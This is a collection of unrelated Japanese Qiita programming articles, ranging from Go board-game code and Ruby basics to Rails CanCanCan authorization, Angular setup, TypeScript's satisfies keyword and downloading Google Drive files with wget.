OmniAICreator/Qiita-1.07M huggingface dataset:
目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞ Step [O11o_5o0] 石定義

目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞ Step [O11o_5o0] 石定義

# 連載の目次

📖 [目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞](https://qiita.com/muzudho1/items/744f6051954525878b84)  

# Step [O11o_5o0] 石定義

## Step [O11o0] ファイル作成 - stone.go ファイル

👇 以下のファイルを新規作成してほしい  

```plaintext
  	📂 kifuwarabe-uec14
	├── 📂 kernel
	│	├── 📄 go.mod
 	│	├── 📄 kernel.go
 	│	├── 📄 logger.go
👉 	│	└── 📄 stone.go
    ├── 📄 .gitignore
 	├── 📄 engine_config.go
  	├── 📄 engine.toml
    ├── 📄 go.mod
  	├── 📄 go.work
 	└── 📄 main.go
```

```go
// BOF [O11o0]

package kernel

import "fmt"

// Stone - 石の色
type Stone uint

const (
	// Stone_Space - 空点
	Stone_Space Stone = iota
	// Stone_Black - 黒石
	Stone_Black
	// Stone_White - 白石
	Stone_White
	// Stone_Wall - 枠
	Stone_Wall
)

// GetStoneFromName - 文字列の名前を与えると、Stone値を返します
//
// Returns
// -------
// isOk : bool
// stone : Stone
func GetStoneFromName(stoneName string, getDefaultStone func() (bool, Stone)) (bool, Stone) {
	switch stoneName {
	case "space":
		return true, Stone_Space
	case "black":
		return true, Stone_Black
	case "white":
		return true, Stone_White
	case "wall":
		return true, Stone_Wall
	default:
		return getDefaultStone()
	}
}

// GetStoneOrDefaultFromTurn - black または white を与えると、Stone値を返します
//
// Returns
// -------
// stone : Stone
func GetStoneOrDefaultFromTurn(stoneName string, getDefaultStone func() Stone) Stone {
	switch stoneName {
	case "black":
		return Stone_Black
	case "white":
		return Stone_White
	default:
		return getDefaultStone()
	}
}

// GetStoneFromChar - １文字与えると、Stone値を返します
//
// Returns
// -------
// isOk : bool
// stone : Stone
func GetStoneFromChar(stoneChar string, getDefaultStone func() (bool, Stone)) (bool, Stone) {
	switch stoneChar {
	case ".":
		return true, Stone_Space
	case "x":
		return true, Stone_Black
	case "o":
		return true, Stone_White
	case "+":
		return true, Stone_Wall
	default:
		return getDefaultStone()
	}
}

// String - 文字列化
func (s Stone) String() string {
	switch s {
	case Stone_Space:
		return "."
	case Stone_Black:
		return "x"
	case Stone_White:
		return "o"
	case Stone_Wall:
		return "+"
	default:
		panic(fmt.Sprintf("%d", int(s)))
	}
}

// GetColor - 色の取得
func (s Stone) GetColor() Color {
	switch s {
	case Stone_Space:
		return Color_None
	case Stone_Black:
		return Color_Black
	case Stone_White:
		return Color_White
	case Stone_Wall:
		return Color_None
	default:
		panic(fmt.Sprintf("%d", int(s)))
	}
}

// EOF [O11o0]
```

## Step [O11o1o0] リモートリポジトリにプッシュ

がんばって git などを使い、 `github.com/muzudho/kifuwarabe-uec14/kernel` モジュールの各パッケージのソースを  
リモートリポジトリにプッシュしてほしい  

## Step [O11o2o0] カレントディレクトリーを移動

👇 以下のコマンドをコピーして、ターミナルに貼り付けてほしい  

```shell
cd kernel
```

## Step [O11o3o0] tidy

👇 以下のコマンドをコピーして、ターミナルに貼り付けてほしい  

Input:  

```shell
go get -u
go mod tidy
```

## Step [O11o4o0] カレントディレクトリーを戻す

👇 以下のコマンドをコピーして、ターミナルに貼り付けてほしい  

```shell
cd ..
```

## Step [O11o5o0] tidy

👇 以下のコマンドをコピーして、ターミナルに貼り付けてほしい  

Input:  

```shell
go mod tidy
```
WEB開発をやり始めてみる(Ruby:条件分岐&メソッド)

# 目的
Rubyの学習でまずは基礎文法のやり直し
ほとんど忘れているため、メモとして残して見直せれるように

# やったこと
### if文
```ruby:
score = 90
if score >= 90
  puts"A"
elsif score >= 80
  puts"B"
elsif score >= 70
  puts"C"
else
  puts "D"
end

$ ruby hello.rb
A

### 省略形での書き方(1行の場合)
puts "A判定" if score >= 90

### true/faluseの場合
puts score >= 90 ? "A判定です" : "不合格"
```
### case文
```ruby:
frute = "banana"

case frute
when "banana"
    puts"イエロー"
when "Apple"
    puts"レッド"
when "orange"
    puts "オレンジ"
else
    puts"それ以外"
end

$ ruby case.rb 
イエロ-
```
### メソッド
```ruby:
def cry(animal)
    if animal=="cat"
        "にゃー"
    else
        "????"
    end
end

puts cry("cat")
puts cry("dog")

>> ruby fizzbuzz.rb 
にゃー
????

def sum(price,num)
  return "0以上にしてください" if num <= 0
  "#{price}円を#{num}個買った、合計金額は#{price * num}円"
end

puts disp_sum(2000,20)
puts disp_sum(200,0)

>> ruby fizzbuzz.rb 
2000円の商品を20個買ったので、合計金額は40000です
0以上にしてください
```
[GitHub Actions]firebase emulatorを用いた自動テスト

最近firebaseを使ってアプリを作ることが多くあります。
ちょくちょくテストコードを書いていたので、せっかくなら自動テストしたいと思いgithub actions上でci作った忘備録です。

# 前提
PR出したときにfirebase emulatorでテストを走らせる。
ついでに静的解析もやる。

まずpackage.jsonにlinterとテストコードのscriptsを作る。
今回はfunctionsとfirestoreを動かしながらjestでテストする。

--projectはfirebaseのprojectを指定
```package.json
{
  "scripts": {
    "format": "prettier -c './**/*.{○○,△△}'",
    "lint": "eslint --ext .○○,△△ .",
    "test": "firebase emulators:exec --project=○○ 'jest' --only functions,firestore"
  }
}
```

# workflow
firebase操作できるツールあるかなと思ったけどなかったのでglobalにfirebase-toolsを直でインストールして動かす。(deploy系はあった。)

::: note warn
ルートディレクトリで実行しない場合はworking-directoryを指定する必要がある。
`cd functions && ...`でも可
:::

```pull_request.yml
name: static analysis and  test
'on':
  pull_request:
    paths: #functions/が変わった時のみ動かす
      - 'functions/**'
jobs:
  test:
    if: '${{ github.event.pull_request.head.repo.full_name == github.repository }}'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v2
        with:
          node-version: '16'
      - name: install firebase-tools
        run: npm install -g firebase-tools
      - name: install node_modules
        run: npm ci
      - name: linter
        run: |
          npm run format
          npm run lint
        working-directory: ./functions
      - name: test
        run: npm run test
        working-directory: ./functions
```
nextjsでのパンくずリスト作成

# 概要
nextjsを使った簡単なパンくずリストの作成方法がなかったのでメモ程度に投稿しておきます。

# 特徴
- 現在のpathから自動的にパンくずリストを作成します。
- 現在のpathを取得する方法は、useRouter()のasPathが便利（pathnameでは、ダイナミックルーティン時のパスが取得できないため注意）
- パンくずリストの文字列を変更するためには、別途propsなどを作成する必要あり。

# コード

 tsxファイルは以下。

```` BreadCrumb.tsx
import { NextPage } from "next";
import Link from "next/link";
import { useRouter } from "next/router";
import styles from "../styles/BreadCrumb.module.css";

export const BreadCrumb: NextPage = () => {
  const router = useRouter();

  // pathを「/」で分解
  const paths = decodeURI(router.asPath).substring(1).split("/");

  // リンク先アドレスの取得
  const roots = [""];
  for (let i = 0; i < paths.length; i++) roots.push(roots[i] + "/" + paths[i]);

  return (
    <div className={styles.container}>
      {/* Homeのリンク */}
      <Link href={"/"}>
        <a className={styles.link}>Top</a>
      </Link>
      {paths.map((x, i) => (
        <>
          {/* サブページのリンク */}
          {">"}
          <Link href={roots[i + 1]} key={i}>
            <a className={styles.link}>{x}</a>
          </Link>
        </>
      ))}
    </div>
  );
};

````
CSSは参考程度に。
```` BreadCrumb.module.css
.container {
  margin: 1rem 0.5rem;
}

.link {
  margin: 0 1rem;
}

.link:hover {
  text-decoration: underline;
}
````

# 感想
パンくずリスト作成には、[nextjs- breadcrumbs](https://www.npmjs.com/package/nextjs-breadcrumbs)というパッケージがあるようですが、自分の環境(nextjs-12.3.1)では非対応だったため、今回作りました。
【Ruby on Rails】CanCanCan の authorize_resource はレコードの権限まではチェックしてくれない

# CanCanCan
Rails でいい感じにアクセス権を確認したり、作成・更新できるかを確認したり、そんなことができる gem です。

https://github.com/CanCanCommunity/cancancan

以下のような記事が参考になると思います。

https://qiita.com/umanoda/items/679419ce30d1996628ed#model%E3%81%AE%E3%81%AA%E3%81%84%E3%82%B3%E3%83%B3%E3%83%88%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%B8%E3%81%AE%E6%A8%A9%E9%99%90%E8%A8%AD%E5%AE%9A

この gem を導入すると、controller で権限認証が楽にできます。

# authorize!
まず、本題の`authorize_resource`の前に、元となる`authorize!`を見てみます。
```ruby
#books_controller.rb
def show
  @book = Book.find(params[:id])
  authorize! :read, @book
end
```
ability.rb でよしなに設定している場合に、これで「現在のユーザはこの @book の情報にアクセスできるか？」を判定できます。

しかし、アクションごとに `authorize!` を書くのはダルいので普通は次に示すようなやり方でチェックすると思います。


# authorize_resource
今回フォーカスする `authorize_resource`です。
コントローラに
```ruby
class UsersController < ApplicationController
  authorize_resource
  ...
end
```
こんな感じで書いておくと、各アクションで`authorize!`をチェックしてくれます。

しかし、ちょっと勘違いしてました。

次のように ability.rb を設定しているときを考えます。
```ruby
# ability.rb
class Ability
  include CanCan::Ability

  def initialize(user)
    user ||= User.new
    
    can :read, Book
    can :manage, Book, user_id: user.id
    ...
  end
end
```
Book の一覧は見れるけど、自分の所有物の Book しか編集できないよ、的な設定ですね。

このとき、
```ruby
#books_controller.rb
def update
  # ここで取得するのは current_user 以外のユーザが所有している @book とする
  @book = Book.find(id) 
  @book.title = "foo"
  @book.save
end
```
これを阻止してくれるかと思っていたのですが、そうではないようです。

`authorize_resource` でやってくれるのはあくまでモデルに対する権限チェックなので
```ruby
authorize! :update, Book
```
をやっているのと同じことになります。
ここで、
```ruby
can :manage, Book, user_id: user.id
```
と設定しているので、`Book`モデルに対しての`:update`権限はアリと判定され、`CanCan::AccessDenied` は発生しません。

当然ながら
```ruby
authorize! :update, @book
```
は権限なしで例外になります。
※ここでは`@book`は自分の所有物ではない前提としているので

これを自動で判定したければ次の `load_and_authorize_resource` を使うのが良いです。

# load_and_authorize_resource
今回触れてないですが、よしなにレコードを検索してインスタンス変数にセットしてくれる `load_resource` というヤツもあります。

この`load_and_authorize_resource` はその`load_resource`と`authorize_resource`の合せ技として使えるようです。

```ruby
class BooksContoller < ApplicationController
  load_and_authorize_resource

  ...
  def update
    # 暗黙にレコードを検索し、権限も判定してくれる
    # @book = Book.find(params[:id])
    # authorize! :update, @book
    # これで @book が他のユーザの所有物であれば、例外が発生する
  end
```
これでインスタンス変数に勝手に値をセットしてくれるし、その権限も見てくれるし、ということでかなり楽しながら安全も担保できます。

Rails のレールに沿った作り方をしていれば上手に使えると思います。

# まとめ
- `authorize_resource`はモデルへの権限をチェックするものなので、レコードへの権限は見てくれない
- レコードの権限まで見たいなら`load_and_authorize_resource`を使うと便利
【Angular】Angularでローカル環境とワークスペース設定

軽くAngularに触れてみたくなったので、
取り急ぎ、公式ドキュメントを参考にプロジェクトを立ち上げるところまで。
尚、`Node.js`がインストールされている前提となっております。

https://angular.jp/guide/setup-local

## Angular CLI 導入
npmパッケージマネージャーを使用して[CLI](https://angular.jp/cli)をインストール
```
npm install -g @angular/cli
```

## ワークスペース、プロジェクト立ち上げ
```
ng new angular-app-sample

? Would you like to enable autocompletion? This will set up your terminal so pressing TAB while typing Angular CLI commands
 will show possible options and autocomplete arguments. (Enabling autocompletion will modify configuration files in your 
home directory.)
>> CLIを初めて使用する時にプロンプ​​トを表示し、自動補完を設定するように求めてきます

? Would you like to share pseudonymous usage data about this project with the Angular Team
at Google under Google's Privacy Policy at https://policies.google.com/privacy. For more
details and how to change this setting, see https://angular.io/analytics.
>> GoogleのAngularチームに情報共有するか聞かれる

? Would you like to add Angular routing?
>> ルーティングどうするか聞かれる

? Which stylesheet format would you like to use?
>> スタイルシートどうするか聞かれる

```
立ち上げ直後のディレクトリ構成
![スクリーンショット 2022-10-12 21.40.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531606/c62823ee-cc8b-15f9-bb06-098e43e849e7.png)

## アプリケーションを実行する
ng serve コマンドはサーバーを起動し、ファイルを監視し、 それらのファイルを変更した時にはアプリケーションを再ビルドします。`--open（または -o）オプション`は、ブラウザで自動的に `http://localhost:4200/` で開きます。

```
cd angular-app-sample
ng serve --open
```
次のようなページが表示されればOK
![スクリーンショット 2022-10-12 21.46.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531606/6aed45e6-7d5d-ec96-8421-601bc078a742.png)


最後にバージョン確認
```
ng version  

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI: 14.2.5
Node: 18.9.0 (Unsupported)
Package Manager: npm 8.19.1 
OS: darwin x64

Angular: 14.2.5
... animations, cli, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1402.5
@angular-devkit/build-angular   14.2.5
@angular-devkit/core            14.2.5
@angular-devkit/schematics      14.2.5
@schematics/angular             14.2.5
rxjs                            7.5.7
typescript                      4.7.4
```
pythonで変数が存在するか確かめる

## 概要
python で変数が定義されていないとエラーが発生するかと思います。
エラーを防ぐ方法に例外処理である`try except`があると思いますがその方法以外で
変数が定義されていないことを確かめたいと思います。

## 内容
まずはよくあるエラーから
```py
function1=3.1415
print(function2)

# => NameError: name 'function2' is not defined
```
もちろんfunction2は定義されていないのでエラーを発生します。
例外処理である`try except`を用いると
```py
try:
    function1=3.1415
    print(function2)
except:
    print("err")

# => err
```
これ以外の方法に`local`関数を使用する方法があります。

```py
function1=3.1415
if 'function1' in locals():
    print('exist')
else:
    print('not exist')

#print(function2)
if 'function2' in locals():
    print('exist')
else:
    print('not exist')

# => exist
# => not exist
```
とできます。
強制的にエラーが発生して`except`関数を通さなくてもよいので使用の幅が広がるかと思います。
`local`関数を使用する場合はダブルクオート シングルクオートで変数を囲ってください。

## まとめ

強制的にエラーが発生させずに変数が存在するかを、確かめることができました。
コメント等あれば、この記事にコメントお願いします。
【Unity】URPのDecalを使い、床との距離でサイズと透明度が変わる影を作った

# 概要
URPのDecalを使い、床との距離でサイズと透明度が変わる影を作りました。
床との距離はSphereCastで測っています。

![gif.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307985/c7447ec5-e112-73c7-6490-5d507b290adf.gif)

# コード

https://github.com/yamara-mh/Shader-graph-test/blob/main/Assets/3D/DecalShadow/Scripts/DecalCircleShadow.cs

# インスペクタ解説

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307985/f3f0bad9-70d1-5ecc-726b-7fe0797572f7.png)

|変数|説明|
|-|-|
|Decal|影に使用している URP Decal Projector<br>同じ GameObject にコンポーネントがあれば自動で追加される|
|Ray Radius|床からの距離を測る SphereCast の半径<br>0を指定すると RayCast になる|
|Ray Margin|Ray のゆとり<br>小さいと着地時に一瞬影が消える。大きいとRayが天井にぶつかる|
|Ray Direction|影を落とす方向|
|Ray Mask|Sphere Cast で利用する LayerMask|
|Always Look Ray Dicrection|常に Decal の Transform を Ray Dicrection に向かせる|
|Base Size Rate|最低影サイズ|
|Add Size Rate|影との距離に比例して大きくなる割合|
|Min Opacity<br>Max Opacity|最低透明度<br>最大透明度|
|Add Opacity Rate|影との距離に比例して薄くなる割合|

# #

# Decal のバグについて
影を Decal で描画する手法は、処理負荷を軽減するために採用される事が多いかと思います。
同じく処理負荷軽減で Render Scale を下げる事も多いかとも思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307985/e6bbeeaf-083a-946c-9438-10d4c0d8c0c6.png)

しかし、現状 2021.3 等のバージョンで両方を採用すると、下図のように Decal の表示がおかしくなります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307985/4e96176d-c3ab-c659-07ba-fc61a408a6fe.png)

このバグは UnityForum で報告されており、URP 14.0.3 以降では修正されているようです。

https://forum.unity.com/threads/changing-urp-asset-render-scale-affects-decals-rendering.1188094/
目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞ Step [O11o_3o_10o0] ゲームルール作成

目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞ Step [O11o_3o_10o0] ゲームルール作成

# 連載の目次

📖 [目指せ！第１４回ＵＥＣ杯コンピューター囲碁大会＜本編＞](https://qiita.com/muzudho1/items/744f6051954525878b84)  

# Step [O11o_3o_10o0] ゲームルール作成

あとで使うファイルを先に作成する  

## Step [O11o_3o_10o1o0] ファイル作成 - kernel/o11o_3o_10o0_game_rule.go ファイル

👇 以下のファイルを新規作成してほしい  

```plaintext
  	📂 kifuwarabe-uec14
	└── 📂 kernel
👉   	└── 📄 o11o_3o_10o0_game_rule.go
```

```go
// BOF [O11o_3o_10o1o0]

package kernel

// KomiFloat - コミ。 6.5 といった数字を入れるだけ。実行速度優先で 64bitに
type KomiFloat float64

// PositionNumberInt - 何手目
type PositionNumberInt int

// GameRule - 対局ルール
type GameRule struct {
	// コミ。 6.5 といった数字を入れるだけ。実行速度優先で 64bitに
	komi KomiFloat

	// 上限手数
	maxPositionNumber PositionNumberInt
}

// NewGameRule - 新規作成
func NewGameRule(komi KomiFloat, maxPositionNumber PositionNumberInt) *GameRule {
	var gr = new(GameRule)

	gr.komi = komi
	gr.maxPositionNumber = maxPositionNumber

	return gr
}

// GetKomi - コミ取得
func (gr *GameRule) GetKomi() KomiFloat {
	return gr.komi
}

// GetMaxPositionNumber - 上限手数
func (gr *GameRule) GetMaxPositionNumber() PositionNumberInt {
	return gr.maxPositionNumber
}

// EOF [O11o_3o_10o1o0]
```
TypeScript（4.9 beta）新機能【satisfies】 

# はじめに

だいぶキャッチアップが遅れてしまいましたが、先日TypeScriptの4.9（beta）がリリースされました。

非常に便利な機能が追加されているので、備忘も兼ねてご紹介します。

# 概要

**satisfies**は、下記の2つを同時に実現するための機能です。


1. プロパティの誤植（typo）を防ぐために型を指定したい
2. 推論を具体的に表示してほしい

# 例

greetingsというオブジェクトを例に説明します。

```ts
const greetings = {
    hello: 'こんにちは',
    bye: 'さようなら'
}
```

新しく挨拶を追加する際、型を指定しないとtypoや想定外の値を入れてしまう危険性があります。

```ts
const greetings = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 12345     // number型の値が入力
}
```

こういったことを防ぐために型を指定します。

今回は```Record<string, string>```を追加することでプロパティと値にstringのみ許容します。

```ts
const greetings: Record<string, string> = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 12345     // Type 'number' is not assignable to type 'string'.
}
```

これで型を縛ることはできましたが、こうすると推論が効かなくなってしまいます。。

```ts
const greetings: Record<string, string> = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 'おはようございます' 
}

const helloGreeting = greetings.        // 推論が表示されない。。。
```

※推論（これが表示されない）
![スクリーンショット (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1021235/88595ba9-d7ac-29ac-4b54-156cdec9c2d9.png)


ここで satisfies の出番です。

```ts
const greetings = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 'おはようございます' 
} satisfies Record<string, string>      // ここにsatisfiesと型を指定
```

こうすることで、型の制御と推論を両立させることが可能になりました。

```ts
const greetings = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 'おはようございます' 
    notGreeting: 12345                  // Type 'number' is not assignable to type 'string'.
} satisfies Record<string, string>      // ここにsatisfiesと型を指定
```

```ts
const greetings = {
    hello: 'こんにちは',
    bye: 'さようなら',
    goodMorning: 'おはようございます' 
} satisfies Record<string, string>

const helloGreeting = greetings.
```

推論の表示
![スクリーンショット (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1021235/88595ba9-d7ac-29ac-4b54-156cdec9c2d9.png)



# 終わりに

少し前のプロジェクトで丁度この問題に直面していたので、正式にリリースされたら実際に使っていこうと思います。

最後まで読んでくださりありがとうございました。
複数条件のin演算子の内包表記



## 概要
こんにちはkentoです。初投稿です。

python の if文を使ってリスト（配列）の中に特定の要素が存在するか、存在しないかを判別するときに
複数の要素で分類したいときに用いる内包表記はどのようにしたらと試行錯誤した結果、このようにすれば分類できました。

## 内容

if文の中で複数条件を用いる中で
`or`や`and`を使用するかと思います。
そのほかにもpythonには
`any`や`all`などの関数もあります。

例えば
```py
sample =  ['Humidity']
print('temperature' in sample or 'Humidity' in  sample or'carbon dioxide' in sample or 'Atmospheric pressure' in sample)
print(any(['temperature' in sample,'Humidity' in sample,'carbon dioxide' in sample,'Atmospheric pressure' in sample]))

# => True
# => True


sample =  ['Humidity']
print('temperature' in sample and 'Humidity' and  sample and'carbon dioxide' in sample and 'Atmospheric pressure' in sample)
print(all(['temperature' in sample,'Humidity' in sample,'carbon dioxide' in sample,'Atmospheric pressure' in sample]))
# => False
# => False
```
となるかと思います。しかし`in` 関数の中で複数の`or`や`and`が存在する場合は以下のように内包表記できます。

```py
sample =  ['Humidity','carbon dioxide']
print(all([any(['temperature' in sample,'Humidity' in sample]),any(['carbon dioxide' in sample,'Atmospheric pressure' in sample])]))

# => True


sample =  ['Humidity','temperature']
print(all([any(['temperature' in sample,'Humidity' in sample]),any(['carbon dioxide' in sample,'Atmospheric pressure' in sample])]))

# => False
```
よってこのif文に組み込むとを使うと
```py
sample =  ['carbon dioxide','temperature']
if all([any(['temperature' in sample,'Humidity' in sample]),any(['carbon dioxide' in sample,'Atmospheric pressure' in sample])]):
    print("ok")

# => ok
```

となります。

## まとめ

Pythonでリスト（配列）の中に特定の要素を分類したい場合は使用してみてください
コメント等あれば、この記事にコメントお願いします。
なんで"準"委任契約なの？

# 結論
システム開発は「法律行為」ではないから。

# 詳細
委任契約とは「当事者の一方が **法律行為** をすることを相手方に委託し、相手方がこれを承諾することによって、その効力を生ずる」である（民法643条）

例えば「誰かを訴訟するときにその作業を弁護士に委託すること」は、**法律行為**を委託しているので「委任契約」。

でも「システム開発をSIベンダに委託すること」は、**法律行為以外のこと**を委託しているので「"準"委任契約」。

それだけのお話でした。

# おまけ
##  請負契約と準委任契約
システム開発を業務委託するときの契約形態は大きく2つ、「請負契約」と「準委任契約」がある。
（「"準"委任契約」はあるのに「委任契約」がないことに疑問を覚えてこの記事を書いた。）

### 請負契約とは
当事者の一方（請負人）がある仕事を完成し、相手方（注文者）がその仕事の結果に対して報酬を与える契約。

簡単に言えば、仕事のやり方は問わないけどちゃんと委託したものを完成させて納品してね、という契約。

例）
- オーダーシステムの場合
    - ユーザ企業（注文者）とSIベンダ（請負人）の間の請負契約
- プログラミングの再委託の場合
    - SIベンダ（注文者）と協力会社（請負人）の間の請負契約
- 注文住宅の場合
    - 家を買う人（注文者）と、建築会社（請負人）の間の請負契約

### 準委任契約とは
当事者の一方（委任者）が、**法律行為以外のこと**を相手方（受任者）に委託し、相手方がこれを承諾することによってその効力を生じる契約。

簡単に言えば、仕事はこちらの言う通りに行ってね、その結果仕事が完成しなくてもしょうがないよね、という契約。

請負契約は仕事の完成に対して報酬が生じるのに対し、準委任契約は2種類の報酬型がある。

- 履行割合型
    - 作業を行った時間に対して報酬が発生する。（SES契約など）
- 成果報酬型
    - 成果物に対して報酬が発生する。
    - 請負契約と似ているが、こちらは仕事の完成を義務付けられるわけではなく、善管注意義務を果たしていれば（サボっていなければ）責任は問われない。
関西エンジニアカンファレンス2022


10月8日(土)に開催された「関西エンジニアカンファレンス2022」に参加してきました。
この時に何を感じたのか、何を学んだのかについて残すために記します。

# どんなイベントなのか
このイベントはサイバーエージェント(以下CA)と学生団体によるコラボ企画です。
CAさんと関西を中心に活動されている学生団体(Tech.Uni・Do'er・watnow)さんが株式会社サポーターズが開催した技育博での出会いをきっかけにこのイベントが実現しました。
場所は大阪で開催されました。

### アジェンダ
13:20~ 開会式
13:30~ CA企業紹介
13:50~ CA内定者によるLT会
14:10~ CA社員によるLT会
14:30~ 休憩
14:45~ watnow代表によるLT会
15:00~ Tech.Uni代表によるLT会
15:15~ Do'er代表によるLT会
15:30~ 休憩
15:45~ 交流会(25分×3ターム)
17:00~18:00 閉会式

(時間はおおよその記憶で書いています。ご了承ください。)

# 参加にあたって
参加するまでは至ってシンプルでした。
Twitterに記載された申込フォームを記入するだけです。

私個人としては、Twitterでこのツイートを見つけた時に、こんな機会は滅多にないと思い、どの団体にも所属していませんでしたが、思い切って申込をしました。このように本当に誰でも参加することができます。

# 感想
私がこのイベントに参加して、`強強の環境に飛び込むこと`　の重要性を学びました。
私にとって、今回のイベントは強強の環境でした。普段の生活では、同年代のレベル感を感じる機会が少ないため、気持ちが緩んでしまったり、この程度でいいやと思ってしまうことが多くありました。しかし、いざこのような環境に飛び込むと全く同じレベル感の人がおらず、同学年ですでに内定をもらっている人や、後輩でwebアプリなどをリリースしている人たちなど、圧倒的に技術力が劣っていることを実感させられました。一方で、こういった場に飛び込んだからこそこうした気づきを得られたと思っていて、勇気を出して飛び込む人と、飛び込まない人では、技術力の伸び代が大きく変わってくるのではないかと個人的に考えています。

なので、もし謙遜してなかなかイベントやカンファレンスに参加できていない方がいたら、技術力あるなしに関わらず参加もしくはエントリーしてみてください！！行動に移すことが大事だと思います！

そして、個人的な感想になるのですが、このイベントに参加する2日前に学内のエンジニアコミュニティを設立しました。
こうした状況の中で関西の強強エンジニア団体の代表の方、そしてメンバーの方と関わる機会ができて非常によかったと感じております。
実際には、Tech.Uniさんの運営方法について詳しくお聞きできて勉強になることばかりでした。
私たちのコミュニティも３団体さんのような強強のエンジニアを育てられる場にしたいと強く思いました。

# 最後に
最後まで読んでいただきありがとうございます。
そして、今回このようなイベントを開催してくださったCAの社員の方々、学生団体の皆さん、本当にありがとうございました。
勉強になることばかりで、これからの就活、開発モチベーションが非常に上がりました。
最終的には、同じ場にいた方々と同じレベルに立てるように精進します！！
異なる座標系への座標変換

例えば、画像内の任意の場所にあるboxの座標があるとします。
boxは画像の幅と高さを１として正規化されています。
さらに、そのbox内の任意の場所にある、mini_boxの座標があるとします。
mini_boxは、最初のboxの幅と高さを１として正規化されています。

![pexels-lina-kivaka-1741205.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/235259/70af5fd5-2a2e-0fa2-44eb-a3136a462d4c.jpeg)

# 小さい座標系から、大きい座標系への変換

mini_boxは、画像の座標系では、どのような座標になるのでしょうか？
ここでは、それぞれのboxのorigin_x,origin_y,width,heightがわかっているとします。

```python
box = [x,y,w,h] # 画像内座標系
mini_box = [mini_x,mini_y,mini_w,mini_h] # box内座標系

def scale_to_big_coordinate_system(mini_box,box):
  scaled_mini_box = [(mini_box[0])*box[2]+box[0],
            (mini_box[1])*crop_box[3]+box[1],
            mini_box[2]*box[2],
            mini_box[3]*box[3]]
  return scaled_mini_box # 画像内座標系にスケールしたmini_box
```

考え方としては、boxのorigin_xからmini_boxのorigin_xまでの距離を、boxの幅（つまり画像幅に対してのスケール）をかけて画像座標系にスケールし、boxのorigin_xを足す、という計算です。高さも同様です。
center_x,center_yで計算する場合は、boxのorigin_xからmini_boxのcenter_xまでの距離をスケールします。
幅と、高さは、そのまま画像座標系へスケールします。

# 大きい座標系から、小さい座標系への変換

今度は、逆に、画像内座標系でのmini_boxの座標がわかっているとき、box座標系でのmini_boxの座標はどうなるのでしょうか？

```python
box = [x,y,w,h] # 画像内座標系
mini_box = [mini_x,mini_y,mini_w,mini_h] # 画像内座標系

def scale_to_small_coordinate_system(mini_box,box):
    scaled_mini_box = [(mini_box[0]-box[0])/box[2],
                  (mini_box[1]-box[1])/box[3], 
                  mini_box[2]/box[2],
                  mini_box[3]/box[3]]
    return scaled_mini_box # box内座標系にスケールしたmini_box
```

boxの原点からmini_boxの原点までの距離を計算し、boxの幅、高さで割ることで（boxの幅、高さを１とすることで）、box内の座標系へ変換しています。mini_boxの幅と高さもboxの幅、高さで割っています。

🐣
****
フリーランスエンジニアです。
お仕事のご相談こちらまで
rockyshikoku@gmail.com

機械学習、ARアプリ（Web/iOS）を作っています。
機械学習／AR関連の情報を発信しています。

[Twitter](https://twitter.com/JackdeS11)
[Medium](https://medium.com/@rockyshikoku)
[GitHub](https://github.com/john-rocky)
Google Driveのファイルをlinuxシェルスクリプトでダウンロードする方法

# Google Driveのファイルをlinuxシェルスクリプトでダウンロードする方法

## 1. 小さいファイル（100MB未満）の場合
wgetの基本形は、wget "ダウンロードURL" -O "保存ファイル名"なので以下をターミナルで実行
```bash
wget "http://drive.google.com/uc?export=view&id=17UjI9766dZFmWRjqngzMjcFyOSMrDXiy" -O "test.txt"

#OR

wget --no-check-certificate "http://drive.google.com/uc?export=view&id=17UjI9766dZFmWRjqngzMjcFyOSMrDXiy" -O "test.txt"
```

## 2. 大きいファイル（100MB以上）の場合
以下のようにdownload.shを作成し

```bash
FILE_ID="17UjI9766dZFmWRjqngzMjcFyOSMrDXiy";
FILE_NAME="test.txt";
CONFIRM=$(wget --quiet --save-cookies /tmp/cookies.txt --keep-session-cookies --no-check-certificate "https://drive.google.com/uc?export=download&id=$FILE_ID" -O- | sed -En 's/.*confirm=([0-9A-Za-z_]+).*/\1/p');
wget --load-cookies /tmp/cookies.txt "https://drive.google.com/uc?export=download&confirm=$CONFIRM&id=$FILE_ID" -O $FILE_NAME;
rm -f /tmp/cookies.txt
```

以下を実行

```bash
chmod 775 download.sh
./download.sh
```

参考：

[https://skume.net/entry/2020/11/23/043738](https://skume.net/entry/2020/11/23/043738)
【Swift】一部だけ丸かどにする

# やりかた
```swift
label.layer.cornerRadius = 10
label.clipsToBounds = true
label.layer.maskedCorners = [.layerMinXMinYCorner, .layerMinXMaxYCorner, .layerMaxXMinYCorner, .layerMaxXMaxYCorner]
```
|左上|左下|右上|右下|
|-|-|-|-|
